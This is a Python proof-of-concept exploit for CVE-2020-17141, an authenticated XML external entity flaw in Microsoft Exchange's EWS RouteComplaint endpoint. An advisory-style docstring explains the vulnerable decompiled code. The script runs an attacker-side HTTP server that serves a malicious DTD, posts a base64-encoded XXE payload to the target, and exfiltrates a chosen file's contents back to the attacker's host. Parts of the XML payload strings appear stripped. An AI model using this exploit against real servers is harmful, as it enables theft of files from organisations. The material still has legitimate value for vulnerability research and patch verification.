#!/usr/bin/env python3 """ Microsoft Exchange Server EWS RouteComplaint ParseComplaintData XML External Entity Processing Information Disclosure Vulnerability Advisory: https://srcincite.io/advisories/src-2020-0031/ Patched in: https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17141 ## Summary This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of a RouteComplaint SOAP request to the EWS service endpoint. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM. ## Vulnerability Analysis Inside of the `Microsoft.Exchange.Services.dll` we can see the following class: ```c# namespace Microsoft.Exchange.Services.Core { internal sealed class RouteComplaint : SingleStepServiceCommand { //... internal override ServiceResult Execute() { if (base.CallContext.EffectiveCaller == null) { throw new ArgumentNullException("this.CallContext.EffectiveCaller", "EffectiveCaller must not be null."); } this.abuseReportResults = null; IAbuseReportContext abuseReportContext = this.ParseComplaintData(); // 1 IMailboxSession imailboxSessionBySmtpAddress = base.CallContext.SessionCache.GetIMailboxSessionBySmtpAddress(base.CallContext.EffectiveCaller.PrimarySmtpAddress, false); IWasclContext wasclContext = new WasclContext(ProtocolClientType.XMRAR, null, null, string.Empty, ""); imailboxSessionBySmtpAddress.WasclContext = wasclContext; this.abuseReportResults = WasclWrapper.ProcessAbuseReport(abuseReportContext, imailboxSessionBySmtpAddress); return new ServiceResult(new RouteComplaintResponseMessage(ServiceResultCode.Success, null, this.EncodeComplaintDataForResponse()), ServiceResultCode.Success); } // ... private IAbuseReportContext ParseComplaintData() { if (base.Request.Data == null) { ExTraceGlobals.GetEventsCallTracer.TraceDebug((long)this.GetHashCode(), "RouteComplaint.Execute - RouteComplaintRequest data is null"); throw new ArgumentNullException("this.complaintData", "ComplaintData must not be null in order to process the abuse report."); } XmlDocument xmlDocument = new XmlDocument(); xmlDocument.LoadXml(Encoding.UTF8.GetString(base.Request.Data)); // 2 XmlNode data = xmlDocument.SelectSingleNode("complaintData"); ``` At *[1]* we can see the `RouteComplaint.ParseComplaintData` method is called from the `Execute` method and at *[2]* the code uses attacker supplied data in a `LoadXml` to trigger entity processing. ## Proof of Concept Change anything within the [] brackets. ``` POST /ews/Exchange.asmx HTTP/1.1 Host: [target] Content-type: text/xml; charset=utf-8 Authentication: [ntlm auth] Content-Length: [length] [base64 encoded XXE payload] ``` ## Example ``` researcher@incite:~$ ./poc.py (+) usage: ./poc.py (+) eg: ./poc.py 192.168.75.142 harryh@exchangedemo.com:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt" researcher@incite:~$ ./poc.py 192.168.75.142 harryh@exchangedemo.com:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt" (+) triggered xxe in exchange! (+) stolen: /leaked? ``` """ import re import sys import urllib3 import requests import urllib.parse from threading import Thread from base64 import b64encode from requests_ntlm2 import HttpNtlmAuth from http.server import BaseHTTPRequestHandler, HTTPServer urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class xxe(BaseHTTPRequestHandler): def log_message(self, format, *args): return def _set_response(self, d): self.send_response(200) self.send_header('Content-type', 'application/xml') self.send_header('Content-Length', len(d)) self.end_headers() def do_GET(self): if "leaked" in self.path: print("(+) stolen: %s" % urllib.parse.unquote(self.path)) message = " ]]>" self._set_response(message) self.wfile.write(message.encode('utf-8')) self.wfile.write('\n'.encode('utf-8')) elif "poc.dtd" in self.path: print("(+) triggered xxe in exchange!") message = """ '> %%param1; %%external;""" % (host, int(port)) self._set_response(message) self.wfile.write(message.encode('utf-8')) self.wfile.write('\n'.encode('utf-8')) def main(t, usr, pwd): server = HTTPServer(('0.0.0.0', int(port)), xxe) handlerthr = Thread(target=server.serve_forever, args=()) handlerthr.daemon = True handlerthr.start() username = usr.split("@")[0] domain = usr.split("@")[1] h = {"Content-type" : "text/xml; charset=utf-8"} xxe_payload = """ "> %%dtd; ]>""" % (file, host, int(port)) d = """ %s """ % b64encode(xxe_payload.encode()).decode("utf-8") requests.post("https://%s/ews/Exchange.asmx" % t, data=d, headers=h, verify=False, auth=HttpNtlmAuth('%s\\%s' % (domain,username), pwd)) if __name__ == '__main__': if len(sys.argv) != 5: print("(+) usage: %s " % sys.argv[0]) print("(+) eg: %s 192.168.75.142 harryh@exchangedemo.com:user123# 192.168.75.1:9090 \"C:/Users/harryh/secrets.txt\"" % sys.argv[0]) sys.exit(-1) trgt = sys.argv[1] assert ":" in sys.argv[2], "(-) you need a user and password!" usr = sys.argv[2].split(":")[0] pwd = sys.argv[2].split(":")[1] host = sys.argv[3] port = 9090 file = sys.argv[4] if ":" in sys.argv[3]: host = sys.argv[3].split(":")[0] port = sys.argv[3].split(":")[1] assert port.isdigit(), "(-) not a port number!" main(trgt, usr, pwd)